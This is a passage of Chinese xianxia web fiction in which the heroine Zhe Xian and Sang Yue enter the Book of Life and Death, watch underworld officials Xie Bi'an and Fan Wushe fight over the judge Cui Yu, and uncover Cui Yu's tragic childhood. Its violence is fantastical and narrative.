现在的她自然也不如这个老东西,但她喜欢出其不意和先下手。
这场要陆棹死的游戏,她从十年前就开始修建布局了。
如今,一切都在他的“开诚布公”下走上落幕。
说不激动那是假的,从今往后,这个世界上,不会再有陆棹和陆献这两个人。
她在折断的羽翼下重生,也必会在光芒四射的天空下绽放。
^^
陆棹死了,她亲手所杀。
这是上级交给她的任务。
拔除这个潜藏已久的毒瘤,上头悬着的心又浅松了一口,没多久,上头的告示又下发,上面的通知赫然是陆棹之子的追缉名单,这其中,折羡也在。
一年后,陆献及其养子,皆被捕处以枪杀。
又一年冬,折羡退出国缉组织,用前十几年赚的钱买了个清净的别墅,收拾收拾准备享受“晚年”生活。
既然死不掉,那就好好活。
没多久,她就真死了。
肉身火化成灰的那种死。
能怎么办,受着呗。
现在不还是一样来到了这个莫名其妙的大陆,做着莫名其妙的任务,碰到莫名其妙的牛鬼蛇神。
现代的一切与她而言更像是一场镜花水月,每次沉睡后的魂灵附身则更多的是有一张无形的手在推着她前进,好像冥冥之中就该这么走。
折羡脑子里又闪过刚才看到的画面,她问桑越:“你被那股力量吸进来时看到的是什么?”
桑越不知何时从储灵袋里摸出来一碟糕点,“看到了……”
“昂,我先前的记忆算么?”
折羡刚张嘴想问细致点,就被塞了一块小甜糕。
“仙君一日都未进食,应当有些饿了吧。”见折羡吃了,桑越把碟子举到她面前,“这是你常买的那家的糕点,那会儿没来得及,正巧现在吃。”
折羡嚼着一时没法说话,默默观察两人走过的路线。
生死簿确实不亚于一个相对独立的新世界,唯一的区别就是,这里太过于随心所欲,场景切换貌似靠的是心之所系。
桑越带她来了生死簿里的冥界。
其实这里同折羡见过的冥界差别不大,转生阁的布局复杂,最顶处悬着摘星术数图,熟悉的灯烛挂在最高处。
她和桑越不走正门,又摸上了转生阁的屋顶。
“那你如今是恢复记忆了?不打算找我报仇吗?”折羡盘坐在一侧,桑越紧挨着她端坐在另一方。
桑越:“恢复了一些。我先前就说过,你又不是承漾。”
折羡:“所以你连我为什么跟她长得这么像都不怀疑?”
桑越目光落到她身上,半响,他道:“是她跟你长得像。”
“你叫我仙君,难道不是因为把我错认成她了?为何又否认我是她?”折羡自己都不确定承漾是否跟她的魂灵有关,桑越怎么就能肯定她是她,承漾是承漾。
桑越目光不移,依旧看着她,“仙君是仙君,承漾是承漾。”
承漾在找仙君,他也在找仙君。
他被生死簿的力量拉进来时,刚接收完孟婆送来的那段记忆。
睁眼看到的是折羡在一个他从未见过的世界,那里的人穿着奇特,讲话直白,行为举止都很奔放粗鲁。
他就那样木着一个动作看完了折羡十七年的现代生活。
直到折羡被人捅死,那瞬间他心里的恐慌和后怕完
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全淹没了他,他拼命的砸着眼前的一切,灵气不要命的往那个无止境的空洞里送,直到折羡的尸体被活化。
那大段大段关于他和承漾的对话在脑子里响起:
“当初你们是假意演戏对战,可她以身献祭你当真不知道吗?上岐已经没了,她也回不来了。”
“为什么假意演戏?”
“你不知道?”
桑越皱眉:“我的记忆,好像丢了一段。”
“你想她回来吗?”
“她不是已经回来了吗?”
“不。主人她,魂灵残缺,散于这世间,肉身早已灰飞烟灭。”
“那你为何还会出现?”
“越休大人,邪灵自诞生起,便可不与主人生死同消。剑灵自封的,是正灵。”
“我要怎么做?”
“我已经寻到办法了,只不过我们得各自承担点代价。”
她要为主人,养一具新的身体出来。
不仅如此,还要尽力铲除一切的危害。
它的诞生,是天道的一句“水满则溢,过犹不及”。是吸收邪恶的载体,天生就该嗜血残毒。所以主人拿出它时的场景总是在斩奸佞,除恶惯,剑上吸收的所有坏的负面罪责,都由剑气进入到了它这个邪灵体内。
每每这时,和它同生同源的另一个属于正灵的家伙,就会被主人支棱过来投放信徒的诚挚的香火,驱散它刚冒出来的黑气。
主人和她的两个剑灵,就这样幸福地生活着,慢慢的,主人有了很多朋友,有一个很爱装的爱人。
这一切本该是最好的结局。
天降异象,离州大陆将迎来灭顶之际,天道不容和平与叛乱的不对等较横,主人的一个朋友推算到不久后他们会迎来一场大战,为了救下无辜生灵,主人骗了所有人。
桑越落在折羡身上的目光,越来越沉。
她骗了所有人,所以那场战争里,死去的只有她。
回忆是片刻的感伤,桑越虽有了大部分记忆,可始终不全,他也不愿在折羡面前表露过多的情绪。
“你想不想知道谢必安和范无赦的事情?”
“他们能有什么事情?”
“他们之前喜欢过一个人界的女子,不过后来才知道那不是女子。”
“他们?他俩喜欢同一个?”折羡直起腰板,竖起耳朵听。
“不全对。”
“跟我来。”
两人下了屋顶,来到了拘魂殿。
拘魂殿是黑白无常的宫殿,桑越递了个小玩意儿给折羡,“拿着这个,可以隐去气息和身形。”
“如今我们还在生死簿绘制的世界里,灵气会受限制。”折羡接过,指腹在表层摩挲了一下。
她突然想起来她还中着毒,根本用不出来灵气。
也不知桑越是知道她不能用灵气,还是真的担心这里用灵气会被制裁。
被生死簿拉进来的人不少,大家进入的初始状态都不一样。
而且执念越深、心神越不稳,越容易被生死簿制造的情景所控制。
这些情景,大多是身在局中者最深的那段记忆。
现在折羡和桑越偷摸着藏起来想看的便是谢必安和范无赦的记忆。
29. 既定苍穹
“谢师兄,我们这么做,是不是太过分了?阁主知道后恐会大怒。”范无赦把手里的东西拿起又放下,复又看向谢必安。
谢必安才不管那么多,东西都到手了还有不行动的道理?
“他敢这么戏耍我们,自然不能放过他。”
范无赦挠了挠头上的官帽,不小心扣下来一个字,吹了口气又给粘了上去,“其实这件事,也不能全怪他。”
谢必安似笑非笑地看着他,“那算你头上?”
“师兄,可你这样,他会死。”范无赦按住了他要动笔的手。
“怎么,他骗你为他做事,你现在还心疼上了?”
“师兄,对不住。”谢必安脚上突然绑上了铁链。
谢必安:“……”
桑越眼神示意:要不要上去看看?
折羡:他们现在是哪个状态下的?
桑越比了个手势:这是生死簿记录的以前的事。放心,他们不会发现我们,他俩被生死簿里面的记忆压制了。
折羡点头。
折羡站在了范无赦旁边,桑越的手隔着屏蔽身形的法器不动声色按住了谢必安想要使用灵气挣脱脚镣的那个胳膊。
在他耳边传音:“按照你记忆里的发展进行下去,否则我现在就解决了他。”
生死簿拉进来的,原本就只有谢必安,而谢必安一直都比范无赦清醒,且多年后的谢必安,实力远超当初,自然不会受生死簿里面的过去的谢必安影响。
他一进来就知道了这是什么情况,此刻也想通过过去的范无赦,来引导他让未来会发生的事提前。
哪知范无赦是个死脑筋,说了跟之前一模一样的话,他对范无赦没防备,见说不通,便想另作他法,谁曾想范无赦竟对他用了灵器。
刚准备调动灵气化解掉脚镣的禁锢,桑越的传音就先落了下来。
“魔君大人,已经发生的事不会被改变,就算阁主在这里也只能勉强修改个中细别。”
桑越:“本君何时说要改变什么了?只是让你照着曾经发生的事再演一遍。你这心思未免也太多余了。”
心思活络的谢必安:“?”
折羡看到了案桌上的东西。
“崔钰。”以及一张崔钰的画像。
据《离州大陆史》记载,崔钰是生死簿的原主人,算得上是谢必安和范无赦的直系上级。
而反观松倏的态度,几乎没提到过崔钰这个人。
“判官同手下人有过节?”
一旁的谢必安已经顺着桑越的意思在走动了,他先是破开了脚镣的禁锢,接着和范无赦打在了一起。
“崔钰是后世的判官。”
桑越拉着折羡看戏,在旁解释道:“判官这个职位,较于其他职位有些特殊。转生阁运转之初,是没有判官一职的。”
“那时淮衿的神智尚未全部苏醒,为了让阁内秩序安稳,有能照看生死簿和天命笔的主,阁主特地命谢必安和范无赦去大陆寻找合适的魂灵。”
“你看。”桑越指着还在打架的二人,“现在的时间线是崔钰来到了冥界,接管了生死簿和天命笔,他把他之前的事迹改写了。”
听到这里,折羡大概知道他俩为什么这么气愤了。
“因果循环,天命既定,有些事一旦改变,影响的便是前世今生的种种。”
折羡:“他们偷来生死簿是想把命格改回去?”
桑越从一旁的盒子里扒拉出一张纸,“他们准备直接抹掉判官的存在。”
崔钰是判官的官名,在赋予到那个人身上时,他便成了崔钰。若取消掉判官,那么崔钰也将不存在。
“嗯……”这么大权力,说得折羡都想给自己改一下命格。
“想不想去这个崔钰的记忆里看看?”桑越笑眯眯道,仿佛在说“想不想吃可乐鸡翅,我给你偷来”。
折羡犹豫,在脑子里呼叫了一下隐若,没叫通,同样地叫了一下三三,依旧没理她。
她不止一次觉得这个系统不是系统了,谁家系统一到关键时刻就消失不见。
“崔钰现在在哪?”折羡问。
桑越:“唔。目前应当在十八层地狱关着。”
“都关起来了离收拾他还远吗,这两个人现在偷拿生死簿改命格,不是胡闹吗?”折羡捏了捏眉心,替松倏感到头疼。
不知为何,桑越听到“胡闹”两个字,表情呆了一瞬,原本紧抿着的唇勾起一个弧度,重复道:“是啊,这不是胡闹吗。”
“我们还是找找出去的办法吧,如今的这一切既是将来的结局,过去的云烟,追求的不过是心里那一点好奇心罢了。”
桑越拉住她,“你觉得往事不重要吗?”
折羡笑,反问道:“你觉得往事重要吗?”
桑越手指紧握,“如果必须活着也只能靠往事来支撑度日,那往事于我而言,确实很重要。”
“桑越。”折羡抽回自己的手,“如果必须活着,那于你而言,活着才是最重要的。”
桑越心里一紧,眼眶发酸,他撇开脸,话声很低:“在此之前,生命于我当然是最重要的。”
他眨了眨眼睛,突然又抓住了折羡的手腕,“先前忘记问了,仙君有时候很爱盯着我看,是我跟仙君的哪个故人长得很像吗?”
二人不知不觉走出了拘魂殿,折羡没撇开他的手,反而把目光落在了那只手上。
她并不排斥别人的触碰,因为近距离的接触,总是能快速知道此人或者此物的危险性系数,这很方便她判断接下来待人接物的态度。
也能通过接触的瞬间感知到善恶把未知危险握在手里。
或许是天生的,也可能是她十岁之前遭受的重大变故引起的,总之对于十岁后失忆的她而言,从未失手过。
在接触到桑越时,她感受不到善恶之意,其他的感情她又无法分辨出来,所以她时常默许桑越的触碰。
到现在,依旧无果。
折羡拉了拉他,桑越习惯性低头,倾着身子等她的回答:“桑越。”
“不会有谁跟你长得像。”
“那我是不是可以理解为,仙君是在欣赏我的模样?”
“我之前便说过了,你的灵体非常完美,不止是品质。”想不通那就等真相自己跑出来。
桑越哑然:“……”
“松阁主?”二人刚到转生阁,折羡便注意到,最高处的摘星术数图跟来时不
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一样了。其中的几个亮点位置此刻暗淡无光。
松倏从顶楼跃下,在半空还没落地折羡闻到了血腥味,刚要用灵气把人接住,一使劲才记起自己现在没灵气。
“……”
她借着旁边的石凳,踮脚飞去,赶在松倏摔个稀巴烂之前接下,桑越紧随其后,揽着人放到了石凳上。
折羡暗自叹气,幸好轻功这玩意儿还在。
一旁赶上了点救人尾气的桑越:“……”
松倏强撑着心绞痛,睁开眼看去,似是不敢相信,闭上眼又睁开,“你、你们什么身份进来的?”
折羡:“进来还要选一个身份?”
桑越:“按理说是原来的身份。”
“你们两个根本没在这段因果里!”松倏天都要塌了。
他就知道他那时候的预感没错,这不纯纯添乱嘛!
淮衿这不靠谱的仙兽儿,果然还是当初幻化成人形时开智没开对么。
松倏气不顺,又吐出一大口血,错眼看到折羡不知何时闪到了旁边,他来不及拌嘴,只急问道:“你们可看到淮衿了?”
“你指的是哪种形态下的淮衿?”折羡进来后只见过跟淮衿相关的生死簿。
松倏短暂地沉默后:“就是生死簿和天命笔。”
“在谢必安和范无赦手里。”折羡把刚刚的事简单说了一下,才悠悠道:“你不是知道吗?”
“我又不是上帝。”松倏闭眼,长叹一口气,“每一段因缘都是有轨迹和命数的,在来之前,我算到有这一遭,却没想到是淮衿借那人之手开启的。”
“那人?”
松倏手一抬,摘星术数图近在眼前,上面的星轨忽明忽灭,连成线的命格在新的轨迹移动时正不断变化着,他指着淮衿的那一条,“淮衿命里有死劫。”
“当年那一卦的结果是:知未知者,未能改未知,既成定局,难破苍穹。”
“嘀——”强烈的电子颤音在折羡脑子里蹦迪,尖锐的电流仿佛穿过了她的大脑,下意识拧了拧眉。
“怎么了?不舒服吗?”
桑越的手还没碰到折羡,那道电子音再次响起:“恭喜宿主,解锁新的魂灵碎片技能——既定苍穹。”
“技能拥有者,松倏,转生阁阁主,冥界最高管理者,六界秩序维护者之一,请宿主尽快协助松倏恢复上古神明的身份。”
折羡:“?”
开到隐藏款盲盒了吗?
这次的介绍这么长,而且和以往的都不同。
被禁止使用之前的办法后,她就没搞懂这个任务的目的和解锁办法。
加上隐若不再是给她提供任务进度的系统,取而代之的是这个冷漠的三三。
两个冷漠的家伙只会锋芒相对,因而折羡都懒得搭理它。
她呼叫的时候没统说话,现在又莫名其妙跑出来通知任务,当她没脾气是吗。
“没事,有些累了。”折羡冷静下来,“既然这段因果里没我们,那我们就不掺合了。阁主快去救淮衿吧。”
松倏:“晚了。先前是没有。”
“生死簿的因缘星线已经把你们牵扯进来了,现在的你们也是解开生死簿星线的一环。”
30. 不是中毒
松倏眉毛一挑,手抵着下巴咳了两声,“并非是我说假话,事情发展成这样,也许就是命定。”
他能探未知,却无法轻易改变结局,生死簿挑选的时间线非常刁钻,刚好卡在崔钰改了过去,而谢必安他们二人还没把崔钰弄死的阶段,如今未来已经被影响,有些不该出现的出现了,本该在轨迹上的却不见了。
现在将他从生死簿除名,只会让其他的命格线更加混乱。
到时候天下大乱也说不一定。
他心知那二人杀崔钰一部分是为了弥补找人的过错,可更多的,是为一己私欲想要复活另外的人。
“那两个蠢货,跟在我身边这么多年,一点没学到我的优点,这是把人从生死簿抹去就能回到原点的什么特异功能吗?”松倏一边赶路一边骂,折羡二人听了一路松倏的什么“天命路”“数术图”“因缘线”“因果轮回”等等。
本想逆着系统任务走的折羡想到他们若无法解决这件事,那就会一直被困在生死簿里,也是赶鸭子上架,开始找解药给自己解毒。
“你那里有带药丸吗?”折羡再一次灵气使用失败,瘪着的储灵袋就跟无能的抹布一样,拿来擦灰都多余。
桑越手一伸,拿出一大把,“喏。”
“这是续灵丸,这个是充饥丸,这是强健体魄丸,这是固魂丸……”
折羡张开手接过,“有解毒的吗?”
桑越又掏出一个小瓶子,“这里是万能解毒丸。”
折羡:“有多万能?”
桑越:“所有毒都能解,除非不是毒。”
折羡没拿瓶子,“那你能运化成灵气融入我体内吗?跟我救你那次的步骤一样。”
松倏半掀起眼皮,问折羡,“你中毒了?怎么没听你说。”
“还没来得及。”幻境刚破他们又进了生死簿。
“也不确定是不是毒。”
桑越夹着药丸的手一顿,折羡正闭着眼等桑越给她输送解毒丸的灵气,方便她运转尝试。
等了好一会儿没感觉,她睁了一只眼去看桑越。
也不知是桑越在等她睁眼还是两人恰好心有灵犀视线交汇,桑越眼里有着她看不懂的情绪。
眼尾耷拉着,不似平时的上扬。
“怎么了?”折羡两只眼都睁开了,预备仔细瞧瞧。
她道:“你若是不愿消耗灵气,我拿过来吞了也行,但你得给我上次的糖。”
桑越也不说话,把那药丸装回了玉瓶里。
松倏看不下去了,“他哪是不愿意,你连是不是毒都不知道就要他往你体内输送,万一适得其反怎么办?”
“不试试怎么知道?”
松倏有些咬牙切齿:“你这不把自己身体当回事的臭毛病怎么一直都在!”
折羡眼底的了然一闪而过,“一直都在?你以前见过我?”
松倏没好气道:“没有!”
桑越拽住了折羡的袖子,“我先替你看看再做打算好吗?”
“我自己查过了,没什么大毛病。”折羡由他拽着,“不过体内的灵气无法使用。”
周围的空气似乎冷了不少,桑越的声线依旧平缓,温和又带着蛊惑,“是他做的?”
“除了他还有谁,他手段不少,瞧着也不正,但应当也有来头。”
桑越:“嗯。”
“我先看看。”说着手搭上了折羡的脉搏,一丝灵气顺着经脉游走到了身体各处,最后在下丹田位置被吸走了。
“怎么样,能看出什么吗?”松倏问道。
桑越不死心地又放了一丝灵气,这次的灵气调皮地在丹田处转了几圈,最后消失殆尽。
“不是毒也不是蛊,有点像封灵御的作用。”桑越的脸沉了下来。
“封灵御。”
三人进了拘魂殿,折羡也从松倏嘴里知道了封灵御为何物。
封灵御本是一件可以吸收高阶灵气的法器,名叫聚灵御。
原是由那个称谓为体器言灵的上古神明收回,后赠与了另一位神明,那位神明是医毒炼丹师,将封灵御当作了呈丹药的器皿,谁知用着用着,封灵御的作用和丹药的作用融合在了一起。
成了一个可以随时封锁魂灵,吸收灵气但同时又能免疫体魄伤害的器物。因而后主改名为封灵御。
这器物自从万年前的大战后便消失了踪影,早就不知所踪。
“如若真是封灵御,你须得去仙界找那位长老,如今她是这现世间唯一知道此物何解的。”
松倏灵气等级虽高,属实不是练家子,让他一个专修卜卦术数的术士打架斗法实在勉强,因而他站在折羡二人身后指挥:“你们俩等会儿吸引谢必安和范无赦的注意力,我把淮衿抢回来。”
折羡还在想封灵御,或许她为何出现在那个世界,为何没有十岁之前的记忆,为何不会死,为何伤了之后能很快恢复,跟这封灵御有很大的关系。
再有一点,为何她来离州大陆这么久封灵御都没起作用而无責带走她之后做了什么让这封灵御再次生效,无責知道些什么。
她必须再见一次无責。以及那个能破解封灵御的仙界长老。
“在想什么?”
折羡扯下玉牌,手指轻轻敲了两下,“在想没有灵气玉牌成不了剑怎么办。”
“封灵御只会吸收你体内的灵气,对你的魂灵也只是禁锢作用。”桑越的手抚上折羡的眉心,“灵气的来源有三种,一种是魂灵的生源灵气,一种是灵体体魄的运转灵气,最后一种是两者结合修炼而成的外生灵气。”
“封灵御吸收的是第一种和第三种。”强大且浓郁的灵气自折羡的脑中流入身体各处,桑越专门用柔和的灵气罩护着送到了经络流通血液里。
其实封灵御只会吸收第三种,封灵御封锁魂灵也其为保护魂灵,怎会吸收生源灵气。
但生源灵气是精魂之本,魂灵固本,当不可伤。
“运转灵气虽说单独提炼很困难,但是外借就不用考虑这么多了。”桑越收回手,“好了,你现在可以用玉牌了。”
折羡手指聚拢,玉牌在她手里幻化成瓷玉剑,“等出了生死簿,我们一起去仙界找长老吧。”
一会儿的功夫
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,桑越手里拿上了雪爻。
“好。”
松倏:“要不要我也跟着去?”
折羡:“不用了。”
桑越:“不需要。”
松倏:“那麻烦你们俩快点的动起来好吗?”
尾音还余留着,折羡的剑已经挥出去,谢必安躲过那一剑,在看清来人后,暗骂了一声。
手腕上的手铐滑下,在脱落的一瞬间凝实成了两柄弯刀,一柄朝着桑越所在的地方飞了过去,另一个则毫不犹豫地拦住了折羡的剑。
“走!”
范无赦还没从状态中回过神来,听话地去拿桌上的生死簿。
松倏正卷起生死簿,手握天命笔,往里面注入灵气。
淮衿的魂灵还躺在里面未苏醒,他从袖子里摸出占卜的龟壳,施了一点迷惑性小法术就扔了过去。
蠢得纯粹的范无赦还处于被阁主抓包的胆战心惊中,压根没反应过来,吃了一嘴陈年老灰。
“阁主!”他咳了两声,脚镣已然成了长长的铁链,“不是你想的那样,我们只是想……”
一道剑气自上而下,隔开了铁链的缠绕,把范无赦震到了旁边。
连同吞灭的还有范无赦没来得及说的“赎罪”二字。
“阁主。”谢必安扶起范无赦,擦了一把嘴角的血。
“对不起。”为身处现在的过去,也为后来的背叛。
“谢必安,我只是让你们去寻个可以照顾淮衿处理阁中事务的人来,你们可倒好。”松倏轻轻拍了拍手中的笔,将生死簿收回袖中。
“不仅找来了个讨债的,还胆敢偷盗生死簿,是想将这段罪孽越推越深吗?”
“我竟不知,这阎王让你们三个来平坐好了。”
松倏大声咳了一声,受不住天道的反噬,吐了一大口血,生死簿和天命笔从怀中掉落。
淮衿的魂灵从中飘出,照着原定的轨迹去写那段记录。
松倏的手摁在了生死簿上,如同他之前抚摸淮衿的头一样,慵懒肆意,又带着安抚,“淮衿,不一样了。”
淮衿操控笔的那丝魂灵停在原地,就像刚出生的孩子一样,懵懂地去寻找那道声音,似乎在辨别那其中的意思。
“淮衿,生死簿带我们进来的,是死的过去。”
谢必安却大笑了起来,“阁主,崔钰如今还没死呢。”
范无赦用力抓住了谢必安的手,“他在哪里?”
松倏扫了他一眼,淡淡地吐出几个字:“十八层地狱。”
“阁主,无赦请求代他受罚,自愿堕入十八层地狱。”范无赦跪在地上,重重地磕了几个头。
“无赦啊……”
“因果改不掉的,崔钰必须死。”
悬停在生死簿上方的淮衿眨着眼睛,撇着嘴去看折羡。
折羡也丈二和尚摸不着头脑,她现在有点好奇崔钰和黑白无常的过去了。
刚想完,脑子里突然响起叮咚一声:“恭喜宿主,激发内心的好奇心支线,现为宿主进行回忆投放。”
“投放内容——《判官崔钰》”
31. 判官崔钰
崔钰。
崔钰?这是他的名字吗?
他应该叫这个名字吗?
不知道。
反正之前没人这么称呼他。
他们都叫他傻子,后来有个人说,傻子不好,应该叫笨蛋。
“笨蛋是什么意思?”他问。
他们哈哈大笑起来,略略地回答他:“笨蛋,就是不知道自己是笨蛋的人,是傻瓜。”
“哈哈哈哈哈哈,你是傻瓜!你连自己是谁都不知道。”
他是谁?他是他们口中的笨蛋、傻瓜。
他不知道这是什么意思,可他知道,只要每次他们说完了这些话,就会打他,还会从嘴里吐黏腻的水到他身上。
他不喜欢这样。
他跑回自己长待的地方,一个女人正站在门口四处张望,见到他的身影,连忙把他拉了过来,“你乱跑什么,他们又打你了?以后不许再出去了。”
女人把他抱在怀里,朝里面走去。
他趴在女人的肩膀上,一字一顿地开口道:“你知道笨蛋是什么意思吗?”
女人愣住了,她用袖子擦着他脸上的灰,拉他到井边,“你问这个做什么?”
他主动捧着水洗脸,“他们说我叫笨蛋。”
“不。”女人捧着他的脸,眼底的泪水在扬起笑容时退了回去,“你不是笨蛋。你是母亲最重要的人。”
“母亲。”他也伸出手,抹掉了女人脸上的水,“那是什么?”
“母亲,是这世上最爱你的人。”她说。
那爱呢,爱又是什么?他想。
他看着自己的手,很小,上面有很多疤痕,那个别人手上有的硬硬的壳子,他为什么没有。
他又从那个女人的眼里看到了自己的模样,他的眼睛,为什么不是黑色的,那里空荡荡。
“你有名字的,只是现在还不能用。”女人将他受伤的手指一根一根包好,“以后不要听别人胡说了,等你伤好了,我教你识字。”
他点了点头,“名字,识字。”
笨蛋是名字。
他一下子就理解到了。
那天之后,他没在和说他笨蛋的人玩,专心地等着那个叫他宝贝的女人教他识字。
过了很久很久,久到他都忘记了这件事,久到他再次忍不住跑出去玩,再次被围了起来。
“你好久没出来了。”其中一个人说。
“我们再也不叫你笨蛋了,你不是笨蛋。”另一个人说。
“你愿意和我们一起玩吗?”一个他从未见过的小东西被怼到了他面前,“请你吃糖。”
他没见过,他很好奇。
他试探着伸出了手,没有人阻拦。
他顺利地拿到了那个东西,放在太阳底下仔细端详着。
“这是可以吃的,我帮你剥吧。”那个人站在他旁边,询问道。
他递给了那人,目光追最随着那个好看的东西,没看到那人眼中闪逝的情绪。
“给你。”
他拿过来,纯白色的没有眼球的眼睛仿佛有了光,他吃了那颗名为糖的亮晶晶的东西。
那个人说,从现在开始,他们就是朋友了。
朋友。
又过了一段时间,那个女人终于想起他来了,“小珪,这是你的妹妹,瑶瑶。”
小珪,这是他的名字吗?他有名字了。
他的嘴里反复念着这两个字,完全忽略了女人说的妹妹。
“小珪,妹妹出生了,以后你就有名字了。”女人把妹妹的手放到了小珪的手里,她说,“你要保护妹妹,妹妹长大后才能护着你。”
那时的他根本不知道这句话是什么意思,只是在女人每一次的教导和哭泣下,将那个小小的,比他好看很多很多的孩子护在身后。
带着名叫瑶瑶的人和他教的那些朋友玩。
“这是我的妹妹,瑶瑶。”小珪说。
瑶瑶被小珪抱着放到了秋千上,之前给他糖的小孩捧着瑶瑶的脸,“你的妹妹好可爱啊,你真幸福。”
幸福。
小珪空洞洞的眼望向那个孩子,嘴角挂着一丝他不曾察觉的笑,他有妹妹,所以他很幸福。
那个孩子说完这句话,就跑到一旁玩去了,仿佛只是随口一说。
小珪搂着妹妹,对着那些小孩大声说:“喂,我叫小珪,这是我的名字。”
小孩们懵懵地,又不敢望他。
有些藏不住笑的已经咧着嘴笑了起来,有的则是干着自己的,不理会小珪。
“小珪。原来你叫小珪。”那个孩子说,“你的名字很好听。”
小珪仰着头,脸颊上挤出一个大笑。
好听。
“小珪,我听别人说你这个眼睛会给你家里带来不幸,你要不要想办法换掉?”
“不幸?那是什么意思?”小珪抬起头,看向他。
他对着那张没有瞳孔的脸总是很害怕,错开后才感到一丝心安,“不幸,就是霉运,就比如,你们经常会遇到一些危险,有时候还会失去性命。”
“性命,那是很重要的东西吗?”
“当然重要,没命的话你现在就看不到我们,也见不到你妹妹和母亲了!你就只能躺在地上,没有知觉,而且你再也吃不到糖果,玩不了泥巴了!”他睁着大眼睛,看向地面。
小珪问:“那怎么才能换掉眼睛?”
“我上次看到有个人会法术,他应该能帮你。”
“他在哪里?”
“你去找他,得一个人去,而且不能让别人知道了。”
“那我怎么找到他?”
……
“你们府里这个小孩真是冰雪聪明,如此,这里的灵丹便赏你们了。”一个身着白色长袍,手里拿着拂尘的老者看到瓶子里的小东西,抛出一瓶丹药,接着便转身离开了。
小珪睁开眼睛,才发现他什么也看不到了。
他伸出手摸了摸自己的脸,黏糊糊的触感并不舒服。
嗓子里也仿佛堵了东西,张嘴说不出话。
在他能看见的前一段记忆里,他跟着那个孩子去找了能换掉眼睛的人。
到那里之后,孩子突然抓住了他的脑袋,把他狠狠地砸到了地上。
小珪捂着受伤的地方,茫然地看着他,“你在和我玩游戏吗?”
“谁要跟你玩游戏,蠢货。”小孩突然变了脸,先前的和善早已褪下,取而代之的是一个恶劣
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又得逞的笑容,“我实在没想到你竟然能蠢成这样,先前被我们欺负成那个模样也只是在我说做朋友后就真的信了。”
“要不是大师说你的这具灵体十分适合修炼,我还没打算跟你这种笨蛋混在一起。”
他掐着小珪的脖子,把人提了起来,他整个身体也在那瞬间发生变化,从小孩变成了一个二十多岁的青年修士。
那修士戴着一张诡谲的面具,倒映在小珪的白色眼眶里,下一瞬,修士挖出了他的眼睛。
那个明明没有眼珠,全是眼白的眼睛。
小珪还来不及叫出声,就晕了过去。
修士抽出了小珪的魂灵,带走了他的灵体。
小珪的魂灵刚出灵体,便飘回了女人的住处。
魂灵贴着瑶瑶的身体,跑了进去。
小珪,或者该叫他,崔瑶珪。
原是离奚国的一位肱骨之臣,在世时功德便很丰厚,谁知因卷入了线城当时的人命案,惨死离去。
后范无赦赶来收魂时将他与一个当时已成为厉鬼的魂放在了一起,导致崔瑶珪的魂灵被残害,神智受损。
范无赦哪里出过这么大的乱子,即刻回了转生阁禀报此事。
偏偏碰上阁主不在阁内。
他转身去找了谢必安。
两人商量着先稳住他剩余的魂灵,然后想办法从厉鬼手中拿回剩余的。
哪曾想厉鬼宁愿散尽魂灵也不跟他们回冥界,而那剩余的魂灵随着厉鬼的消散也飘到了离州的各处。
崔瑶珪在世间的功德足够,得进行下一次的转世轮回,阁主还未回归,二人只好先放崔瑶珪去投胎。
但魂灵终究是不完整的,他的转世也不再是完整的他。
他成了一个出生就是不祥的人。
没有正常的双眼,就连手上的指甲也没有。
偏偏,范无赦还将那些功德都投给了他的身体,给了他一具可以修炼的好灵体。
偏偏,就是这样的一具灵体,让他的痴傻呆笨,在外人眼里更炙手可热。
范无赦和谢必安四处寻了好些年,才找到了崔瑶珪其余的魂灵,不仅如此,这期间他们还受了一顿失职的罚。
然后火急火燎地将那残魂给崔瑶珪送去。
谁曾想,转世是转世,再不与先前一样了,那些残魂和他无法相融共生,他们又被阁主收拾了一顿。
这次阁主亲自出马,给崔瑶珪这一世的母亲托梦,以新生来迎接新的开始。
瑶瑶出生了。
崔瑶珪待在瑶瑶的身体里,回想着前世今生的一切,叹了口气:“也罢,那灵体带来不少事端,没了便没了,瑶瑶和母亲活着便好了。”
瑶瑶太小,根本醒不了多久,没一会儿便睡了过去。
崔瑶珪在她的身体里,自然也同步了她的睡眠时间,缓缓沉睡了过去。
他感觉自己睡了好久,好久。
等他再次醒来时,他发现,瑶瑶,长大了。
而他们的母亲,也老了不少。
瑶瑶挥动着一把长剑,将远处的草斩断。
“哥,放心吧,我一定会抢回你的身体的。”
崔瑶珪发出了一声疑问:“嗯?”
32. 黑白无常
“师兄,怎么办。”
范无赦手腕上的脚镣因摆动手腕发出铃铃的响声,他拿出装着崔瑶珪魂灵和另一个厉鬼的魂的法器,面上满是焦急。
谢必安在他来之前便知道了事情的经过,这会儿正掐着眉心写忏悔录。
停了手里的东西,谢必安开口道:“你别在这走动了,事已至此,去向阁主请罪吧。”
“谢罪书我已替你写好,阁主会有办法的。”
范无赦拿着谢罪书,全身颤抖个不停,原就惨白的脸看上去更加沧桑,多了几分生无可恋、死难其咎。
“二位大人,阁主去他界游历了,不在阁内。”侍者微微欠身,行了礼,将松倏走时留下的东西给了二人。
“这是阁主留给大人们的任务,还请在他回来之前完成。”
范无赦把手里的东西捏得更紧了,现如今只能求着他们家阁主快点回来,又怕自己的烂摊子被阁主知道后不止被骂得狗血淋头。
谢必安接过,扔到了上空,星星点点的亮光出现在他们面前,和最上空的摘星术数图融合到了一起,只有寥寥几笔的上古涂绘字出现,大致内容是说他目前有重大事情要处理,阁内缺一个顾全大局者,特命他们俩去寻。
没说是具体的哪类人,只是给了一个本子,说这个东西若能打开,那人就是钦定的判官。
寻人这事谢必安比范无赦上心,范无赦的心思多在崔瑶珪残缺的魂灵上,他想了很多办法都没能让那个厉鬼把崔瑶珪的魂灵吐出来,甚至还拿他专业的锁魂镣给对方狠狠上了一课。
厉鬼:蜷着身子瞪着不停流脓水的眼睛继续挑衅。
“行了,他神识不清你的脑子也去忘川洗了一遍?”谢必安抱着一堆案本,矮几上又垒了新的一沓,“把这些处理好后随我去一趟人界。”
范无赦刚给崔瑶珪做完固魂术,“你有办法了?”
“嗯。”
欣喜大过一切情绪,多日来一直困着范无赦的那缕愧疚和不安散了一些,“好,我现在就做。”
范无赦对着画像看了又看,不确定地道:“这便是你说的办法?”
灵气自谢必安手中渡到了那朵花上,不一会儿,那花摇摆着头,开口:“大人。”
“你本是妖界花妖,机缘巧合下来了人界,还被这凡人养出了灵识,现如今有个报恩的机会,你可要答应?”
花妖的叶子弯了弯,道:“花瑶答应。”
“花瑶?这是他为你取的名字?”
“是。”
“不过你须得以人类的身份才行。”谢必安又道:“崔瑶珪已死,你在这里修炼也不会再有任何提升,现我们将你带回冥界,等崔瑶珪投胎转世后,你便能带着他的残魂一同前往。”
